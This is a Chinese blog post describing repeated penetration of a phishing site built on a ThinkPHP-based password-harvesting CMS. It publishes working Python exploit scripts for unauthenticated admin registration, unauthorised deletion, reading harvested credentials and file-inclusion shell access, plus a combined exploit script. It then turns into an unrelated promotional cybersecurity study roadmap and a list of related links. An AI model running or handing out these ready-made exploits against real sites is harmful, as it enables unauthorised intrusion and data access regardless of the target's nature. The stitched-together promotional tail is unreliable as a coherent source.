记一次对钓鱼网站的多次渗透

0x01 首先我们对目标进行目录扫描,发现admin.php 进入发现是后台界面,右击查看网页源码

我们复制title到百度搜索一下

第一个是官网 我把源码下载,看了一遍,发现是一个叫 默笙密码管理系统V2.0 这套源码和钓鱼网站一致

0x02 开始审计 这套cms是基于thinkphp的,所以我们直接跳到控制器开始审计 我们看到代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以我们看下有没有逻辑绕过漏洞,或者是隐藏的接口 0x03 首先审计Admin的控制器

打开看了一下除了Login 其它的控制器均有登录认证,所以我们先审计Login

我们看到有5个方法

我们先打开前2个方法 方法 login 是判断数据库中是否存在管理员,如果不存在则去reg注册管理员

方法 reg 是判断数据库中是否存在管理员,如果不存在则进行注册,所以login 和reg方法是没有洞了

方法 loging 是登陆的,我们上文说了是代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以loging也没洞

方法 regist 他首先判断了提交方式是不是AJAX 我们只要在协议头添加X-Requested-With:XMLHttpRequest就好了 然后我们看到两个参数 $data['username'] = I('post.p','','md5');$data['password'] = I('post.c','','md5'); 然后它竟然直接进行进行添加管理员了,不过这个管理员不是超级管理员,但是可以登录后台就已经足够了,下面有个漏洞是提权

漏洞一 任意管理员添加 exp python def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" 漏洞二 将普通管理员提权到超级管理员 我们看到验证管理员的逻辑是这样的,它先从session取出管理员的id然后进行查询 判断字段 is_all 是否等于1,如果是1则不是管理员,反之 我们只需要社工管理员让他删掉我们的账户,我们就可以跳过这个认证,成为超级管理员

漏洞三 越权删除分类 直接将post过来的id进行删除

exp python def classdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞四 越权删除超级管理员 直接将post过来的id进行删除,只能删除超级管理员

exp python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞五 越权删除钓鱼密码 直接将post过来的id进行删除,不能删除含有普通管理员id的

exp python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞五 越权查看钓鱼密码 直接将get过来的id进行查询

exp python def GetPass(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result 漏洞六 GetShell 文件包含 前提是能在目标服务器上传.html后缀的文件

exp python def uptemple(filename): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" return result 0x04 利用以上漏洞我们已经控制了目标服务器 我们看到这个钓鱼网站有很多的模板,还注明了钓鱼网站的作者,我们把它钓到的密码进行删除 完整 exp python import hashlib import random import requests import re domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" def GetPass(id): global cookie global domain headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result def DelPass(id): global cookie global domain headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookie } flag= requests.post("http://"+domain+"/admin.php/Pass/passdel",data="id="+str(id),headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability" else: return "Failure To Exploit A Vulnerability" def RegAdmin(): global domain username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" def classdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def userdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def uptemple(filename): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" if __name__=="__main__": print(RegAdmin())添加管理员 print(GetPass(1))获取密码 print(DelPass(1))删除密码 print(classdel(1))删除分类 print(userdel(1))删除管理员 print(uptemple("../test")) 文件包含

再次出击 0x01 多天后管理员发觉了它的鱼站被搞了,换了一套cms 扫描目录,发现history目录,打开发现后台

0x02 单引号输入报错,是注入

不过sqlmap识别出来的是时间注入,我们利用它这个报错将时间注入升级到布尔注入

0x03 解出md5,登陆后台

学习计划安排

我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

  网络安全入门学习路线

其实入门网络安全要学的东西不算多,也就是网络基础+操作系统+中间件+数据库,四个流程下来就差不多了。

1.网络安全法和了解电脑基础

其中包括操作系统Windows基础和Linux基础,标记语言HTML基础和代码JS基础,以及网络基础、数据库基础和虚拟机使用等...

别被这些看上去很多的东西给吓到了,其实都是很简单的基础知识,同学们看完基本上都能掌握。计算机专业的同学都应该接触了解过,这部分可以直接略过。没学过的同学也不要慌,可以去B站搜索相关视频,你搜关键词网络安全工程师会出现很多相关的视频教程,我粗略的看了一下,排名第一的视频就讲的很详细。 当然你也可以看下面这个视频教程仅展示部分截图: 学到http和https抓包后能读懂它在说什么就行。

2.网络基础和编程语言

3.入手Web安全

web是对外开放的,自然成了的重点关照对象,有事没事就来入侵一波,你说不管能行吗! 想学好Web安全,咱首先得先弄清web是怎么搭建的,知道它的构造才能精准打击。所以web前端和web后端的知识多少要了解点,然后再学点python,起码得看懂部分代码吧。

最后网站开发知识多少也要了解点,不过别紧张,只是学习基础知识。

等你用几周的时间学完这些,基本上算是具备了入门合格渗透工程师的资格,记得上述的重点要重点关注哦! 再就是,要正式进入web安全领域,得学会web渗透,OWASP TOP 10等常见Web漏洞原理与利用方式需要掌握,像SQL注入/XSS跨站脚本攻击/Webshell木马编写/命令执行等。

这个过程并不枯燥,一边打怪刷级一边成长岂不美哉,每个攻击手段都能让你玩得不亦乐乎,而且总有更猥琐的方法等着你去实践。

学完web渗透还不算完,还得掌握相关系统层面漏洞,像ms17-010永恒之蓝等各种微软ms漏洞,所以要学习后渗透。可能到这里大家已经不知所云了,不过不要紧,等你学会了web渗透再来看会发现很简单。

其实学会了这几步,你就正式从新手小白晋升为入门学员了,真的不算难,你上你也行。

4.安全体系

不过我们这个水平也就算个渗透测试工程师,也就只能做个基础的安全服务,而这个领域还有很多业务,像攻防演练、等保测评、风险评估等,我们的能力根本不够看。

所以想要成为一名合格的网络工程师,想要拿到安全公司的offer,还得再掌握更多的网络安全知识,能力再更上一层楼才行。即便以后进入企业,也需要学习很多新知识,不充实自己的技能就会被淘汰。

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

尾言

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,最后联合CSDN整理了一套【282G】网络安全从入门到精通资料包,需要的小伙伴可以点击链接领取哦! 网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

技术,记载钓鱼网站的多次渗相关推荐

  1. 关于钓鱼网站的实现原理与技术

    最近闲的蛋疼~ 分析了一下钓鱼网站的原理与实现. 可选技术方案 1)域名蒙眼术: 2)dns支持: dns劫持的关键是拥有客户端操作系统的权限,比如给用户发一些病毒程序,安装浏览器插件这类来实现,这里 ...

  2. 使用pig对钓鱼网站链接url做词频统计【大数据处理与分析技术】

    使用pig对钓鱼网站链接url做词频统计(大数据处理与分析技术) 数据展示:(verified_online.csv) grunt> A = load 'verified_online.csv' ...

  3. 交易劫持、钓鱼网站、盗号***严重威胁网购安全

    网上购物,钱怎么流进骗子的口袋了?最近我一直在琢磨这个问题. 互联网发展到现在,已经不再是网络游戏一家独大的时候,前几年一般人说上网,无非是在线游戏.而现在,非常多的网民尝试过在线购物,用淘宝.支付宝 ...

  4. 【WEB安全】轻松检测钓鱼网站的技巧

    你可能会认为钓鱼网站很难检测和跟踪,但实际上,许多钓鱼网站都包含唯一标识它们的HTML片段. 你可能会认为钓鱼网站很难检测和跟踪,但实际上,许多钓鱼网站都包含唯一标识它们的HTML片段.本文就以英国皇 ...

  5. 近7万新冠域名一半是钓鱼网站?以色列老牌安全厂商Check Point推出全端保护新战略

    编辑 | 宋 慧 出品 | CSDN云计算 头图 | 付费下载于视觉中国 疫情肆虐的2020注定会被长久铭记.在这一年中,人们的工作.生活方式发生了巨变.在以色列老牌安全厂商Check Point全球 ...

  6. 公安网络安全部门封杀的2000家淘宝钓鱼网站

    近年来随着网上购物如火如荼的发展,同时各种网购骗局也日益猖獗,为此淘宝网在社区论坛开辟了举报钓鱼网站的专区,并协同公安网络安全部门封杀的2000家钓鱼网站. 网购最大的隐忧:钓鱼+搜索 随着网络交易突 ...

  7. 投毒、伪装、攻击,DNS 欺骗和钓鱼网站如何一步步诱人掉入陷阱?

    [编者按]这篇文章将详细讲解DNS欺骗(DNS投毒)及钓鱼网站原理知识,并通过Ettercap工具复现某购物网站的钓鱼漏洞,本文的重点是让您对ARP欺骗.DNS欺骗和钓鱼攻击有一定认识.真心希望这篇基 ...

  8. 钓鱼网站与病毒频发背后 网络支付黑色利益链

    互联网+时代,越来越多的消费和支付从线下转移至互联网.而春节红包大战,以及Apple Pay的高调入华,更让移动支付日益普及.但随之滋生的,是日益增多的互联网支付安全风险. 2015年7月,中国互联网 ...

  9. 钓鱼网站php,偶遇钓鱼网站的一次代码审计

    偶遇一个钓鱼邮件中的钓鱼网站,并与年华大佬做了代码审计.据说近期全国出现多起钓鱼邮件事件,主要以各大高校为主,已有不少人上当,还需多加注意. 分析钓鱼网站 钓鱼网站采用常用空间钓鱼CMS搭建,可通过百 ...

最新文章

  1. python如何安装scrapy库_python2安装scrapy库报错解决方案
  2. Why is OFDMA a Magical Feature in the 802.11ax Standard?
  3. codeforce 589B枚举
  4. apache mysql php 安装配置_Windows下Apache,MySql,PHP安装配置
  5. C++ – 第一次作业
  6. 力扣844,比较含退格的字符串(JavaScript)
  7. POJ 3281 (最大流+匹配+拆点)
  8. 有凤来仪的意思是什么?成语有凤来仪比喻什么?
  9. Andriod 从源码的角度详解View,ViewGroup的Touch事件的分发机制
  10. 【笔记】Python脚本:绘制表格转为图片发送
  11. phpstudy重置密码登录报错#1045
  12. 知群产品经理必修TOP班-31期学习笔记
  13. jmeter 生成随机数(手机号)随机中文字符
  14. win系统磁盘管理知识
  15. IDC机房运维工程师需要具备哪些技能及素质
  16. 服务器无法定位到现有系统分区,真正解决win7 “安装程序无法定位现有系统分区,也无法创建新的系统分区”的方法...
  17. 微信小程序-图片等比例显示不变形
  18. 6-2 车的不同行为 (10 分)
  19. 创建vue项目的时候报错:Skipped git commit due to missing username and email in git config.
  20. OpenMARI 开源指标体系和效能提升指南之GQM从入门到精通

热门文章

  1. C++ sqlite3 0x00007FF9DA42F621 (ucrtbased.dll)处(位于 TestSqlite.exe 中)引发的异常: 0xC0000005: 读取位置 0x000000
  2. vlan高级:聚合vlan,MUXvlan,qinq
  3. OpenCV-提取图像中的颜色直方图(RGB、HSV)
  4. Note8对比iPhone X,锐意进取的三星何以成为榜样?
  5. linux 运行ctl文件_linux journalctl 命令
  6. 2023广州建博会:鸿雁总裁王米成详解全屋智能的发展脉络
  7. 最新网络语录-看了保证你笑到抽筋
  8. 世界五百强面试题目及应答评点(50题)
  9. SpringMVC的DispatcherServlet源码学习笔记
  10. CAD卸载 百分百不影响二次安装